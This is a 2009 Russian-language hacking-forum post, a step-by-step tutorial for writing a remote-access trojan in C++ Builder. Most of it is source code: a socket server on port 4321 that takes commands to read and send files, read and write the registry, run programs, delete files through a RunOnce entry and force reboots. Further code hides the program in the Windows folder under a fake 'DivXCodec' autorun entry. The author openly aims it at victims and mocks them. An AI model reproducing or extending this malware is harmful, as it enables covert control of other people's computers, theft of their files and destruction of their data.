1. На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.
Скрыть объявление
Привет, Незнакомец! У тебя есть возможность Оставить комментарий в теме

C/C++ Пишем троя на С++

Тема в разделе "PR0GRAMM1NG", создана пользователем G00Dluck, 25 фев 2009.

  1. G00Dluck 8айтовый

    G00Dluck
    TS
    WebVoice
    Регистрация:
    24 фев 2009
    Сообщения:
    71
    Симпатии:
    1
    ICQ:
    366766958
    Пишем своего трояна


    Сегодня мы будем учиться писать троянчик. Небольшой, но СВОЙ! Почему? Конечно-конечно, троянов в сети навалом, но рано или поздно они =вдруг= начинают определяться антивирусами, приходиться ждать апдейта етц... Ожидание - самый скучный повод. Не знаю как вы, но я ждать не люблю, да и использовать чужие трояны это совсем не по-}{аЦкERR'ски. Короче, пишем свой троян и точка.

    После точки, как учили в школе, пишем с большой буквы... Так вот, о чем я? Писать я буду, как обычно, на своем любимом Builder C++. Если у вас руки растут не оттуда, откуда у меня ноги, то без проблем все переделаете под Дельфи, если припрет конечно...

    Естественно, наш троян будет состоять из 2х частей =) Серверной (отправляемой как подарок ламерюге) и клиентской (оставим себе на память). Надо сказать, что я давно не юзал никакие трояны, так что не знаю что там сейчас они умеют делать, может уже и коврик под мышкой научились двигать или корпус компа открывать. Мы же пишем "троянчик", поэтому делать он будет только следующее:
    1) читать, удалять, запускать файлы на удаленном компьютере
    2) работать с реестром на удаленном компьютере
    3) ну и традиционный набор разных бесполезных функций, типа открытие CD-ROM'a, смена клавишей мышки etc.

    Перекурили и поехали!
    Использовать будем стандартные компоненты TClientSocket и TServerSocket.

    Начнем с клиента. Набрасываем простенький интерфейс и приступаем к реализации. Управлять удаленным компьютером будем с помощью специальных команд. Для примера пускай структура их будет такая:
    Nпараметры. N - цифра. Каждому действию присвоен свой код. Т.е. например 1 - перезагрузка, 2 - чтение файла и т.д. Главное чтоб было однозначное соответствие между тем что хотим сделать (команда передаваемая клиентом) и тем что выполняет программа (обработка команды на сервере). С этим разобрались. Теперь параметры. Бывает мало передать только номер команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо (хотя можно и здесь передать параметры в функцию перезагрузки), но как например реализовать удаление файла не передавая параметра? Мы передаем команду на удаление файла, но какого?! Для этого будем использовать параметры. В качестве параметра в данном случае будет передаваться имя файла. Бывает, что мало передать один параметр. Например надо прочитать n-строчек из file.txt. Здесь необходимо передать 2 параметра. В нашем примере параметры отделяются друг от друга комбинацией "rn" - перевод каретки. Объясняется данная структура тем, что в сервере мы сначала помещаем полученную команду в TStringList и потом можем спокойно обращаться к любой строчке этого TStringList'а через свойство Strings, где i-номер строчки, а соответственно и номер параметра. В общем, это вещи достаточно очевидные.

    Вот так, вроде бы только начав писать клиентскую часть мы ее уже почти и закончили! Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket:

    void __fastcall TForm1::TrojControllerRead(TObject *Sender,

    TCustomWinSocket *Socket)

    {

    Memo2->Lines->Add(Socket->ReceiveText());

    }


    Вот и все. Клиент законен! Переходим к серверу...

    Сервер будет чуть пообъемнее. Вначале определимся с задачами:
    1) получение команд
    2) их обработка и выполнение соответствующих действий
    3) отсылка ответа клиенту (должны же мы знать что происходит на сервере)
    Реализуем...

    Во-первых, никакого визуального оформления естественно не будет =) Поэтому на форму поместим только 1 компонент: TServerSocket. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector'е. Но раз уж сделали, так сделали =)

    void __fastcall TForm1::FormCreate(TObject *Sender)

    {

    // ServSckt - наш компонент TServerSocket

    ServSckt->Port = 4321;

    ServSckt->Active = true;

    }


    Итак, указали порт, активизировали сокет. Теперь обрабатываем событие ClientRead, т.е. получение данных сокетом. Комментирую на примере:

    void __fastcall TForm1::ServScktClientRead(TObject *Sender,

    TCustomWinSocket *Socket)

    {

    RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей

    // информации, которую передаем как параметр этой функции

    }

    //---------------------------------------------------------------------------

    // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)

    void TForm1::RecCommand (String received)

    {

    int cn;

    TTrojanUtilites Utilz; // создаем объект наших утилит

    Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас

    // находится на форме, а TTrojanUtilites не имеет никакого отношения

    // к форме. Просто передаем указатель на TServerSocket

    String temp;

    temp=received;

    temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды

    cn = StrToInt(temp); // преобразуем в число

    received.Delete(1,1); // удаляем код команды - остаются одни параметры

    switch (cn) { // в соответсвии с полученой командой

    // запускаем соотвествующую утилиту

    case 1 : Utilz.RestartMachine(); break; // перезагрузка

    case 2 : Utilz.WriteRegistry(received); break; // запись в реестр

    case 3 : Utilz.ReadRegistry(received); break; // чтение реестра

    case 4 : Utilz.SendFile(received); break; // чтение файла

    case 5 : Utilz.DeleteFile(received); break; // удаление файла

    case 6 : Utilz.ExecuteFile(received); break; // запуск файла

    case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM

    case 8 : Utilz.HideMouse(); break; // прячем курсор мыши

    case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши

    default:

    SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда

    // информируем клиента об этом

    }

    }


    Теперь немного подробнее. Мы пишем специальный класс TTrojanUtilites, в котором реализуем все необходимые функции. В RecognizeCommand (String Directive) мы только отделяем команду от параметров и запускаем необходимые методы TTrojanUtilites, передавая по необходимости в них параметры.

    Реализация TTrojanUtilites есть то, чем мы сейчас займемся. Класс оформим в отдельном модуле, не забудьте подключить его.

    Поехали... Во-первых, подключаем #include <MMSystem.hpp> - необходимо для реализации работы с CD-ROM'ом. Далее пишем все необходимые методы.

    Краткие комментарии на примере:
    void TTrojanUtilites::OpenCloseCD()

    {

    TMCI_Open_Parms OpenParm;

    TMCI_Generic_Parms GenParm;

    TMCI_Set_Parms SetParm;

    Cardinal DI;

    OpenParm.dwCallback = 0;

    OpenParm.lpstrDeviceType = "CDAudio";

    mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));

    DI = OpenParm.wDeviceID;

    if (!CDROMOPEN)

    {

    mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));

    CDROMOPEN = true; // открыть

    }

    else

    {

    mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));

    CDROMOPEN = false; // закрыть

    }

    mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));

    Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");

    }


    Перезагрузка:

    void TTrojanUtilites::RestartMachine()

    {

    if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));

    Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");

    }
     
  2. G00Dluck 8айтовый

    G00Dluck
    TS
    WebVoice
    Регистрация:
    24 фев 2009
    Сообщения:
    71
    Симпатии:
    1
    ICQ:
    366766958
    Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_...ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:

    mov dx,0cf9h

    mov al,2

    out dx,al

    mov al,6

    out dx,al


    Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_...ENDSESSION я не знаю. Если вы знаете - напишите пару строк, не в падлу =)

    void TTrojanUtilites::SendFile(String F)

    {

    TStringList* TTSL=new (TStringList);

    TStringList* TTSL2=new (TStringList);

    int n, i;

    TTSL->Text = F;

    if (!FileExists(TTSL->Strings[0]))

    {

    Sock->Socket->Connections[0]->SendText("Файл не существует.");

    return;

    }

    TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList

    n = TTSL2->Count; // получаем число строк в файле

    if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл

    n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк

    for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту

    }

    Вроде тут и объяснять нечего.



    void TTrojanUtilites::ReadRegistry(ShortString k)

    {

    TRegistry* reg=new TRegistry;

    String res, ts;

    TStringList* TTSL=new TStringList;

    HKEY k1;

    // параметры передаются в следующем порядке:

    //// 0 - root key

    //// 1 - key name

    //// 2 - value name

    //// 3 - value

    //// 4 - type of value

    TTSL->Text = k;

    ts = TTSL->Strings[0]; // выбираем RootKey

    if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;

    if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;

    if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;

    if (ts == "HKEY_USERS") k1 = HKEY_USERS;

    if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;

    reg->RootKey = k1;

    reg->OpenKey(TTSL->Strings[1], true); // открываем раздел

    ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа

    if (ts == "Bool") // двоичный (REG_BINARY)

    if (reg->ReadBool(TTSL->Strings[2]))

    res = "true";

    else res = "false";

    if (ts == "Integer") // числовой (REG_DWORD)

    res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));

    if (ts == "String") // строковый (REG_SZ)

    res = reg->ReadString(TTSL->Strings[2]);

    Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);

    // передаем клиенту значение параметра

    }


    Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); - для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для строкового.

    Для запуска файлов на удаленном компьютере используем следующую функцию:

    void TTrojanUtilites::ExecuteFile(String f)

    {

    ShellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);

    Sock->Socket->Connections[0]->SendText("Запущен файл "+f);

    }


    Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer'e, Opere, Netscape или еще в чем-то... Хрен знает чем там ламерюга пользуется... Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)

    Идем дальше. Парочка бесполезных функций:

    void TTrojanUtilites::HideMouse()

    {

    ShowCursor(false);

    Sock->Socket->Connections[0]->SendText("Курсор мыши скрыт");

    }



    No commentz...



    void TTrojanUtilites::SwapMouseButtons()

    {

    SwapMouseButton(true);

    Sock->Socket->Connections[0]->SendText("Кнопки мыши переключены");


    Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)

    Теперь довольно важная функция:

    void TTrojanUtilites::DeleteFile(String f)

    {

    if (!FileExists(f))

    {

    Sock->Socket->Connections[0]->SendText("Файл не существует.");

    return;

    }

    TRegistry* Reg=new TRegistry;

    Reg->RootKey = HKEY_LOCAL_MACHINE;

    Reg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\RunOnce", true);

    Reg->WriteString("Filez for delete","command.com /c del "+f);

    Reg->CloseKey();

    Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");

    }


    Данная функция НЕ удаляет файл сразу!!! Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению - то будет удален только он. А первый останется нетронутым... Немного измените функцию - и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:

    int res;

    SHFILEOPSTRUCT fo;

    ZeroMemory(&fo, sizeof(fo));

    fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога

    fo.pFrom = pszFullPath; //путь

    fo.wFunc = FO_DELETE;

    fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление

    res = SHFileOperation(&fo);


    Только внимательно все проверьте! Будет обломно если ламерюга "вдруг" увидит надпись "Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!". А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет - допишет все необходимое сам, если что - я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема - просто передавайте файлы фрагментами.

    Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее:
    1) при запуске файл переписывается в папку, в которой установлены винды.
    2) прописываем запуск нашего файла в реестре.

    Реализуем =)

    Добавлено через 31 секунду
    void __fastcall TForm1::FormCreate(TObject *Sender)

    {

    ServSckt->Port = 4321;

    ServSckt->Active = true;

    Utilz.Sock=ServSckt;

    Utilz.CDROMOPEN=false;



    String WinDir;

    char WinDir1[144];

    GetWindowsDirectory(WinDir1,144);

    WinDir=WinDir1; // папка с установленными виндами



    String data;

    TRegistry *pReg = new TRegistry;

    pReg->RootKey=HKEY_LOCAL_MACHINE;

    pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);

    data=pReg->ReadString("DivXCodec");

    if (data != Application->ExeName) //если нашу программу стерли из

    // автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)

    pReg->WriteString("DivXCodec",WinDir+"\task16man.exe"); //добавляем ее по новой



    if (Application->ExeName!=WinDir+"\task16man.exe") //если файл запустили 1ый раз

    {

    if (!FileExists(WinDir+"\task16man.exe"))

    {

    String dest=WinDir+"\task16man.exe";

    BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());

    // переписываем файл к виндам

    ServSckt->Active = false;

    ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его

    Application->Terminate(); // это приложение закрываем

    }

    else

    Application->Terminate();

    // я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз

    // запустили и им подобных, додумайте сами =)

    }

    else

    {

    ServSckt->Port = 4321;

    ServSckt->Active = true;



    String data;

    TRegistry *pReg = new TRegistry;

    pReg->RootKey=HKEY_LOCAL_MACHINE;

    pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true);

    data=pReg->ReadString("DivXCodec");

    if (data != Application->ExeName) // не дай бог стерли!

    pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад

    }

    }


    В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =) Если сделаете что-нибудь интересное - скидывайте, с радостью опубликуем это для всех. А вообще, я хочу сейчас все это переделать под API Socket'ы, без всяких компонентов, тогда и файл exe гораздо меньше станет. Если у кого-нибудь есть интерес к этому делу - напишите пару строк в мыльницу.

    Товарищи ламеры! Внимательно следите теперь за соединениями по порту 4321 =) Некоторые ведь ничего не перекомпиливают и не меняют =)

    На этом у меня все. Критика, предложения и 100грамм принимаются, мат и наезды отправляются в /dev/null =) МаЗу с днем рождения!
     
    Последнее редактирование: 25 фев 2009